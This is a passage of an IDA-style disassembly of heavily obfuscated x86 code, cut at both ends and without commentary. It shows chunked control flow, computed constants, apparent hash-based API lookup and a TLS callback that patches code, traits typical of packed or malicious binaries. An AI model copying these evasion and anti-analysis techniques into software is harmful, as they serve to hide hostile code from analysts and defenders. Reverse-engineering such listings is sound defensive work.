SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042B0A3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CFC8 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042D068 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0042F5B3 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx mov edx, 0A22F8A70h call sub_426C04 mov ds:dword_42591C, eax call sub_424585 mov edx, 0A2CD59D9h call sub_426C04 jmp loc_42790C sub_42F50F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426E98 loc_42F536: ; CODE XREF: sub_426E98+61CBj push offset sub_42F23A jmp nullsub_223 ; END OF FUNCTION CHUNK FOR sub_426E98 ; --------------------------------------------------------------------------- loc_42F540: ; CODE XREF: wto1jq8f:0042815Fj shl edx, 0Ah ; START OF FUNCTION CHUNK FOR sub_427A8D loc_42F543: ; CODE XREF: sub_427A8D:loc_428148j add eax, 0B745DE52h mov eax, [eax] mov [ebp-4], eax jmp loc_42DAE8 ; END OF FUNCTION CHUNK FOR sub_427A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42F553: ; CODE XREF: sub_426535:loc_429570j call sub_42D765 retn ; --------------------------------------------------------------------------- loc_42F559: ; CODE XREF: sub_426535+3C52j jmp loc_42F925 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_42F55E: ; CODE XREF: wto1jq8f:00425B79j jmp loc_4299FE ; =============== S U B R O U T I N E ======================================= sub_42F563 proc near ; CODE XREF: sub_42C4B3+Cp ; sub_42CE8E+Fp ; FUNCTION CHUNK AT 00427ED8 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042E3E5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F199 SIZE 00000014 BYTES jo sub_42D877 push ebp mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_42F199 sub_42F563 endp ; =============== S U B R O U T I N E ======================================= sub_42F575 proc near ; CODE XREF: wto1jq8f:00426D18p ; wto1jq8f:0042B9D1j ; FUNCTION CHUNK AT 00427A5F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00429E4F SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push 0FD1C7938h pop esi sub esi, 0D9AC336h jmp loc_429E4F sub_42F575 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ror edx, 4 and ebp, ecx jmp sub_4245D6 ; --------------------------------------------------------------------------- loc_42F594: ; CODE XREF: wto1jq8f:0042CBCCj sub ebx, 0D0A7FCFh jmp loc_4248D8 ; =============== S U B R O U T I N E ======================================= sub_42F59F proc near ; CODE XREF: wto1jq8f:00427528p ; wto1jq8f:0042B9FBj xchg ebx, [esp+0] pop ebx call sub_425ACB sub_42F59F endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42A14D loc_42F5A8: ; CODE XREF: sub_42A14D-54C3j ; wto1jq8f:00424EF4j ... mov esp, ebp mov ebp, offset nullsub_1 xchg ebp, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_42A14D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F50F loc_42F5B3: ; CODE XREF: sub_42F50F-7DC2j jmp loc_427A3D ; END OF FUNCTION CHUNK FOR sub_42F50F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9E8 loc_42F5B8: ; CODE XREF: sub_42E9E8-7EE3j jz loc_4267E9 jmp loc_4246ED ; END OF FUNCTION CHUNK FOR sub_42E9E8 ; --------------------------------------------------------------------------- mov edx, 0F9A79DECh call sub_429165 call sub_427F1A ; START OF FUNCTION CHUNK FOR sub_42DCB4 loc_42F5D2: ; CODE XREF: sub_42DCB4-478Bj jmp loc_42E084 ; END OF FUNCTION CHUNK FOR sub_42DCB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AC6 loc_42F5D7: ; CODE XREF: sub_428AC6+5785j jz loc_428F9B cdq xchg edi, [ecx] jmp loc_428F9B ; END OF FUNCTION CHUNK FOR sub_428AC6 ; =============== S U B R O U T I N E ======================================= sub_42F5E5 proc near ; CODE XREF: sub_42FF7F+7p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00426D66 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00428E97 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AC03 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042CD9B SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042FC98 SIZE 00000014 BYTES xchg eax, [esp+0] mov eax, [esp+0] push ebx call sub_428501 loc_42F5F1: ; CODE XREF: sub_4272F3:loc_42AB13j and ebx, edx sbb ebx, esi jmp loc_426D66 sub_42F5E5 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_207. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428AE5 loc_42F5FB: ; CODE XREF: sub_428AE5:loc_424929j rol edi, 19h add edi, 8CDC7446h xchg edi, [esp+4+var_4] jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_428AE5 ; --------------------------------------------------------------------------- shl ecx, 14h jmp loc_42FD32 ; =============== S U B R O U T I N E ======================================= sub_42F614 proc near ; CODE XREF: sub_426E98:loc_424733p ; wto1jq8f:004289A6j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00424491 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00424DBA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00424E6E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00425D61 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00426057 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042679C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004269C6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427FC2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429653 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00429F23 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042BB4E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042DFA2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E74F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E887 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042F048 SIZE 00000005 BYTES mov [esp+0], eax pop eax xchg ecx, [esp+0] push 3 push 80000000h jmp loc_426057 sub_42F614 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_198. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42481C loc_42F628: ; CODE XREF: sub_42481C+ABAFj jmp loc_42E045 ; END OF FUNCTION CHUNK FOR sub_42481C ; =============== S U B R O U T I N E ======================================= sub_42F62D proc near ; CODE XREF: wto1jq8f:00429A6Ej ; sub_426E98+433Bp arg_0 = dword ptr 4 mov [esp+0], edi loc_42F630: ; CODE XREF: wto1jq8f:loc_42DA0Bj pop edi xchg ebx, [esp-4+arg_0] jmp sub_42660F sub_42F62D endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_220. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DCB4 loc_42F63A: ; CODE XREF: sub_42DCB4-4D92j jmp loc_42BE01 ; END OF FUNCTION CHUNK FOR sub_42DCB4 ; --------------------------------------------------------------------------- loc_42F63F: ; CODE XREF: wto1jq8f:00427B90j sub eax, edi xchg edx, ecx sub ecx, 1244D257h or edi, ebx jmp loc_424549 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42F650: ; CODE XREF: sub_429B76+3C08j test edi, 9A4E22A7h jmp loc_42A2A0 ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42F65B: ; CODE XREF: sub_4244EA:loc_42C4CAj mov ebp, 2F2FD575h jmp loc_427E6A ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C0D7 loc_42F665: ; CODE XREF: sub_42C0D7-5CBAj mov edi, [ebx] jmp loc_42FEF2 ; END OF FUNCTION CHUNK FOR sub_42C0D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A88D loc_42F66C: ; CODE XREF: sub_42A88D:loc_428F4Cj pop ebx sub ebx, ds:4000F4h add ebx, 79A07A01h mov [ebx], eax call sub_42693B ; END OF FUNCTION CHUNK FOR sub_42A88D ; START OF FUNCTION CHUNK FOR sub_426144 loc_42F680: ; CODE XREF: sub_426144:loc_42FD3Dj xchg eax, [esp-0Ch+arg_8] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call eax jmp loc_424B98 ; END OF FUNCTION CHUNK FOR sub_426144 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR TlsCallback_0 loc_42F690: ; CODE XREF: TlsCallback_0+21BDj inc ds:dword_42F1CC lea eax, sub_42ADC7 mov byte ptr [eax], 0C3h call sub_4266EF jmp loc_42EAAB ; END OF FUNCTION CHUNK FOR TlsCallback_0 ; =============== S U B R O U T I N E ======================================= sub_42F6A9 proc near ; DATA XREF: sub_426A97:loc_42BE5Ao var_C = dword ptr -0Ch var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424D91 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00424ECE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425C02 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042898E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004293A4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042A10F SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042A7FE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C39D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C686 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042D51B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DD69 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DE11 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042E171 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042E9CF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F458 SIZE 00000017 BYTES pushf mov [esp+4+var_4], ebp push 2CAAA60Fh pop eax add eax, 2D21700Bh xor eax, 9D8C6EBBh add eax, ebp add eax, 3BBF8767h jmp loc_42E171 sub_42F6A9 endp ; --------------------------------------------------------------------------- sub edi, 0ED198BB4h jg loc_424CEF jmp sub_42483B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_42F6DD: ; CODE XREF: sub_42B276-152Dj and edx, ebx push ecx jmp loc_428193 ; END OF FUNCTION CHUNK FOR sub_42B276 ; --------------------------------------------------------------------------- mov edx, 19EDC823h call sub_42E350 ; START OF FUNCTION CHUNK FOR sub_426535 loc_42F6EF: ; CODE XREF: sub_426535:loc_42D5E4j test ebx, 67C08B5Ch jmp loc_428651 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42F6FA: ; CODE XREF: sub_4244EA:loc_42D7AEj sbb ebx, esi xchg ebx, [ecx] sbb edi, 6F8A9E2Eh jmp loc_42834A ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4294F4 loc_42F709: ; CODE XREF: sub_4294F4:loc_42FD28j jz loc_42FC10 jmp loc_4240D2 ; END OF FUNCTION CHUNK FOR sub_4294F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42F714: ; CODE XREF: sub_4269FD+7B95j mov [esp+0], eax retn ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42F718: ; CODE XREF: sub_42A909-1AB6j jmp loc_42A1EE ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42F71D: ; CODE XREF: sub_429B76+55F9j call nullsub_16 push edi jmp loc_42DB37 ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240DC loc_42F728: ; CODE XREF: sub_4240DC:loc_425A7Ej pop eax add eax, 0F3B82F1Dh add eax, ebp add eax, 0F6CD97ACh push ecx jmp loc_424DFD ; END OF FUNCTION CHUNK FOR sub_4240DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42F73D: ; CODE XREF: sub_426C0C:loc_424CE3j xchg esi, ebx pushf jmp loc_42C49B ; END OF FUNCTION CHUNK FOR sub_426C0C ; =============== S U B R O U T I N E ======================================= sub_42F745 proc near ; CODE XREF: sub_42669E+6Cp ; wto1jq8f:0042B890j mov [esp+0], ecx pop ecx push 1D31660Bh pop edx add edx, 0E2CE99FCh and ecx, edx pop edx jmp loc_42DD6F sub_42F745 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_42F75D proc near ; CODE XREF: wto1jq8f:00424A7Dj ; sub_42C4E2:loc_42C958p ; FUNCTION CHUNK AT 00427D57 SIZE 00000025 BYTES mov [esp+0], esi loc_42F760: ; CODE XREF: sub_4282C1+2E0Aj pop esi cmp dword ptr [ebp-10h], 1 jnz loc_427D6E jmp loc_427D57 sub_42F75D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42F770: ; CODE XREF: wto1jq8f:004276DDj or eax, 83009FF8h ; =============== S U B R O U T I N E ======================================= sub_42F776 proc near ; CODE XREF: sub_4283CC+45ACp mov [esp+0], edx pop edx loc_42F77A: ; CODE XREF: wto1jq8f:loc_42B5F0j xchg eax, ebx push eax push 8737B5E3h pop eax sub eax, 0FE5D8A8Eh jmp loc_428459 sub_42F776 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dw 8A0Fh dd 0FFFFACD3h, 0FFCF60E9h db 0FFh ; --------------------------------------------------------------------------- loc_42F799: ; CODE XREF: wto1jq8f:loc_42E1EFj jo loc_427E65 ror ebp, 12h jmp loc_42FCC6 ; --------------------------------------------------------------------------- loc_42F7A7: ; CODE XREF: wto1jq8f:00424227j jnp loc_42EEBD ; =============== S U B R O U T I N E ======================================= sub_42F7AD proc near ; CODE XREF: wto1jq8f:0042D3AAp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042CCD4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DE07 SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx add eax, 73B11B19h xchg eax, [esp+0] jmp loc_42CCD4 sub_42F7AD endp ; sp-analysis failed ; --------------------------------------------------------------------------- push eax rol eax, 14h call sub_424F6A ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42F7C8: ; CODE XREF: sub_42C486-167Bj jmp loc_42A2C6 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429D2E loc_42F7CD: ; CODE XREF: sub_429D2E:loc_42F36Aj add edi, 12BECD26h xchg edi, [esp+8+var_8] jmp loc_426A0F ; END OF FUNCTION CHUNK FOR sub_429D2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B76 loc_42F7DB: ; CODE XREF: sub_429B76:loc_42907Cj popf mov esi, edi jmp loc_427396 ; END OF FUNCTION CHUNK FOR sub_429B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AA68 loc_42F7E3: ; CODE XREF: sub_42AA68:loc_42FCC1j cmp dword ptr [ebp-8], 0 jz loc_4260F3 jmp loc_42FE17 ; END OF FUNCTION CHUNK FOR sub_42AA68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4294F4 loc_42F7F2: ; CODE XREF: sub_4294F4+2E3Aj add eax, 9C33F317h popf call sub_42A56D lea eax, [ebp+var_14] push eax call sub_42B02D mov ds:dword_42F1F0, eax cmp ds:dword_42F1F0, 0 jmp loc_42A62A ; END OF FUNCTION CHUNK FOR sub_4294F4 ; --------------------------------------------------------------------------- loc_42F818: ; CODE XREF: wto1jq8f:0042F96Ej xchg ecx, [ebp+0] ; =============== S U B R O U T I N E ======================================= sub_42F81B proc near ; CODE XREF: sub_4245B5+8ECDp ; sub_426535+8F69j ; FUNCTION CHUNK AT 00425B7E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00426BA4 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042B96B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E2F0 SIZE 00000005 BYTES mov [esp+0], ecx pop ecx mov eax, ds:dword_42E534 jmp loc_426BA4 sub_42F81B endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42F82A: ; CODE XREF: wto1jq8f:00425E96j jnz loc_424C90 pop esi jmp sub_42433B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_42F836: ; CODE XREF: sub_42C486-4740j lea eax, [ebp-14h] loc_42F839: ; CODE XREF: sub_42ED54:loc_42ED77j call sub_4266B1 jle loc_4276B5 jmp sub_42F072 ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ror ecx, 13h jmp loc_42CD33 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_122. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- locret_42F852: ; CODE XREF: wto1jq8f:loc_42ACF4j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42414C loc_42F853: ; CODE XREF: sub_42414C+BD26j jmp loc_42485F ; END OF FUNCTION CHUNK FOR sub_42414C ; --------------------------------------------------------------------------- xor edi, 0C6F6C87Dh jmp loc_42F25D ; =============== S U B R O U T I N E ======================================= sub_42F863 proc near ; CODE XREF: sub_428333:loc_42AA44p ; wto1jq8f:0042C8E3j xchg eax, [esp+0] pop eax call sub_428183 jmp loc_42865D sub_42F863 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp loc_428101 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426144 loc_42F876: ; CODE XREF: sub_426144:loc_42E2EBj jnz loc_427C73 jmp loc_42B934 ; END OF FUNCTION CHUNK FOR sub_426144 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F61 loc_42F881: ; CODE XREF: sub_428F61:loc_4271D7j add eax, 3771F8Ah mov edx, 17h call sub_428B3B pop ecx loc_42F892: ; CODE XREF: wto1jq8f:00429B55j push ebp push 9447DA80h jmp loc_42A97B ; END OF FUNCTION CHUNK FOR sub_428F61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E337 loc_42F89D: ; CODE XREF: sub_42E337:loc_42AE54j push offset sub_42AA8E jmp loc_42838A ; END OF FUNCTION CHUNK FOR sub_42E337 ; =============== S U B R O U T I N E ======================================= sub_42F8A7 proc near ; DATA XREF: wto1jq8f:0042770Eo xchg edi, [esp+0] push offset sub_42C4B3 sub_42F8A7 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_426C0C loc_42F8AF: ; CODE XREF: sub_426C0C:loc_42EB35j jmp loc_42AD0D ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5FA loc_42F8B4: ; CODE XREF: sub_42E5FA:loc_42E5FDj push ecx mov esp, ebp pop ebp push 49196509h jmp loc_42E50C ; END OF FUNCTION CHUNK FOR sub_42E5FA ; --------------------------------------------------------------------------- or ecx, 1800DBDCh jmp loc_42C015 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C0F6 loc_42F8CD: ; CODE XREF: sub_42C0F6+9j push 0D3776B0Dh pop ecx add ecx, 2CCB2A4Bh mov ecx, [ecx] push offset sub_42F2C7 jmp nullsub_181 ; END OF FUNCTION CHUNK FOR sub_42C0F6 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42F8E5 proc near ; CODE XREF: sub_429165-477Dj retn sub_42F8E5 endp ; --------------------------------------------------------------------------- loc_42F8E6: ; CODE XREF: wto1jq8f:0042E01Fj jmp loc_42DD05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4283CC loc_42F8EB: ; CODE XREF: sub_4283CC+7BEj jmp loc_42C975 ; END OF FUNCTION CHUNK FOR sub_4283CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB63 loc_42F8F0: ; CODE XREF: sub_42CB63-829Cj jmp loc_426043 ; END OF FUNCTION CHUNK FOR sub_42CB63 ; --------------------------------------------------------------------------- mov ecx, 0E7E38170h jmp sub_424F83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426144 loc_42F8FF: ; CODE XREF: sub_426144+1675j ; sub_426144:loc_429690j pop large dword ptr fs:0 call sub_425EA8 mov dword ptr [ebp-4], 1 mov eax, 0 or eax, eax jz loc_424B9B jmp loc_42F2B8 ; END OF FUNCTION CHUNK FOR sub_426144 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_241. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42F925: ; CODE XREF: sub_426535:loc_42F559j add eax, 0D23402DCh cmp dword ptr [eax], 47424454h jz loc_4265DB jmp loc_42D3BF ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_42F93C: ; CODE XREF: sub_4244EA:loc_42DF97j test ecx, 8000h jmp loc_42A708 ; END OF FUNCTION CHUNK FOR sub_4244EA ; =============== S U B R O U T I N E ======================================= sub_42F947 proc near ; CODE XREF: sub_42DB52-4BC6p ; wto1jq8f:00429C90j ; FUNCTION CHUNK AT 00424650 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042C8E8 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx lea eax, [ebp-4] call sub_424859 jmp loc_424650 sub_42F947 endp ; sp-analysis failed ; --------------------------------------------------------------------------- and edx, eax jbe loc_42DDFC jmp sub_42E0FD ; --------------------------------------------------------------------------- cmp esi, ecx jmp loc_42CDCF ; --------------------------------------------------------------------------- mov [edx], ebp jmp loc_42F818 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A3BC loc_42F973: ; CODE XREF: sub_42A3BC:loc_42484Aj jl loc_424A4D ; END OF FUNCTION CHUNK FOR sub_42A3BC ; START OF FUNCTION CHUNK FOR sub_42481C loc_42F979: ; CODE XREF: sub_42481C+137j jmp loc_42A49E ; END OF FUNCTION CHUNK FOR sub_42481C ; --------------------------------------------------------------------------- sub ecx, edi mov ebp, esi jmp loc_424A4B ; =============== S U B R O U T I N E ======================================= sub_42F987 proc near ; CODE XREF: wto1jq8f:loc_427CA9p var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004273ED SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A6A0 SIZE 00000011 BYTES xchg eax, [esp+0] mov eax, [esp+0] push ebx push 87C628A9h xchg esi, [esp+8+var_8] jmp loc_4273ED sub_42F987 endp ; --------------------------------------------------------------------------- loc_42F99B: ; CODE XREF: wto1jq8f:00429915j pop edi ; =============== S U B R O U T I N E ======================================= sub_42F99C proc near ; CODE XREF: wto1jq8f:0042D511p ; FUNCTION CHUNK AT 0042DA9F SIZE 00000005 BYTES mov [esp+0], edx pop edx mov esp, ebp push offset sub_42D75E jmp loc_42DA9F sub_42F99C endp ; =============== S U B R O U T I N E ======================================= sub_42F9AC proc near ; CODE XREF: sub_429E77+7p ; wto1jq8f:0042D8CEj arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00425E2C SIZE 00000004 BYTES xchg ecx, [esp-0Ch+arg_8] pop ecx mov esp, [esp+8] loc_42F9B4: ; CODE XREF: sub_426461+4j ; sub_426461+Fj ... xor eax, eax loc_42F9B6: ; CODE XREF: sub_42B5D9+6j ; sub_426461:loc_42E98Ej pop large dword ptr fs:0 jmp loc_425E2C sub_42F9AC endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_42F9C2: ; CODE XREF: wto1jq8f:0042A822j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4242D6 loc_42F9C3: ; CODE XREF: sub_4242D6+688Cj jmp nullsub_183 ; END OF FUNCTION CHUNK FOR sub_4242D6 ; --------------------------------------------------------------------------- loc_42F9C8: ; CODE XREF: wto1jq8f:0042EB60j mov ebx, [edi] ; =============== S U B R O U T I N E ======================================= sub_42F9CA proc near ; CODE XREF: sub_42ED01-852Ap arg_0 = dword ptr 4 arg_C = dword ptr 10h ; FUNCTION CHUNK AT 004241BC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00425A67 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E5CD SIZE 0000000A BYTES xchg ebx, [esp-10h+arg_C] pop ebx xchg edi, [esp+0] jmp loc_4241BC sub_42F9CA endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_107. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42970D loc_42F9D7: ; CODE XREF: sub_42970D+14BEj jmp loc_42858A ; END OF FUNCTION CHUNK FOR sub_42970D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C0DF loc_42F9DC: ; CODE XREF: sub_42C0DF:loc_427A25j xchg ebp, [esp+4+var_4] call sub_42C547 loc_42F9E4: ; CODE XREF: sub_42CB36:loc_424D04j cmp dword ptr [ebp-0Ch], 0 jz loc_4260F3 mov eax, [ebp-0Ch] call sub_42A54A loc_42F9F6: ; CODE XREF: sub_42D4FD:loc_42DBF9j push 93802C51h pop eax sub eax, 972140B5h xor eax, 707723C0h jmp loc_42FF8B ; END OF FUNCTION CHUNK FOR sub_42C0DF ; --------------------------------------------------------------------------- loc_42FA0D: ; CODE XREF: wto1jq8f:0042E16Cj not edx ; =============== S U B R O U T I N E ======================================= sub_42FA0F proc near ; CODE XREF: sub_426313+EEBp xchg edi, [esp+0] pop edi pop esi cmp dword ptr [ebp-4], 0 jz loc_427FE0 jmp loc_428F91 sub_42FA0F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42FA23: ; CODE XREF: wto1jq8f:loc_42B042j test ebp, 637A61E7h jmp loc_42C7D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42FA2E: ; CODE XREF: sub_42A909-28Aj jl loc_429091 loc_42FA34: ; CODE XREF: sub_42A909:loc_42A1EEj push eax push 6CDFAA31h pop eax add eax, 9362C9E0h xchg eax, [esp+0] jmp loc_42E2FA ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ror esi, 1 test ebp, 915A1DC0h jmp loc_42DE71 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_42FA56: ; CODE XREF: sub_42EDB9:loc_42F355j jnz loc_42B1A5 jmp loc_42FC34 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- loc_42FA61: ; CODE XREF: wto1jq8f:00429A08j jbe loc_428C7D jmp loc_42CD03 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A8D loc_42FA6C: ; CODE XREF: sub_427A8D:loc_42C585j push eax retn ; END OF FUNCTION CHUNK FOR sub_427A8D ; =============== S U B R O U T I N E ======================================= sub_42FA6E proc near ; CODE XREF: sub_42506F+2142p push ebp push offset sub_42AAC3 jmp loc_42A126 sub_42FA6E endp ; --------------------------------------------------------------------------- push eax rol eax, 6 mov ds:dword_429578, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_42FA84: ; CODE XREF: sub_42A909+3B0j jmp loc_42AB2F ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- loc_42FA89: ; CODE XREF: wto1jq8f:004293FAj jmp loc_426693 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CF89 loc_42FA8E: ; CODE XREF: sub_42CF89-8D20j jmp loc_42AEF4 ; END OF FUNCTION CHUNK FOR sub_42CF89 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F61 loc_42FA93: ; CODE XREF: sub_428F61:loc_427CB3j xor edx, 0E5765FE8h call sub_428B3B pop ecx mov eax, [ebp-4] push eax jmp loc_42745C ; END OF FUNCTION CHUNK FOR sub_428F61 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424859 loc_42FAA9: ; CODE XREF: sub_424859+6F0Cj jmp nullsub_185 ; END OF FUNCTION CHUNK FOR sub_424859 ; --------------------------------------------------------------------------- loc_42FAAE: ; CODE XREF: wto1jq8f:0042A7B4j jmp loc_42EF42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FED8 loc_42FAB3: ; CODE 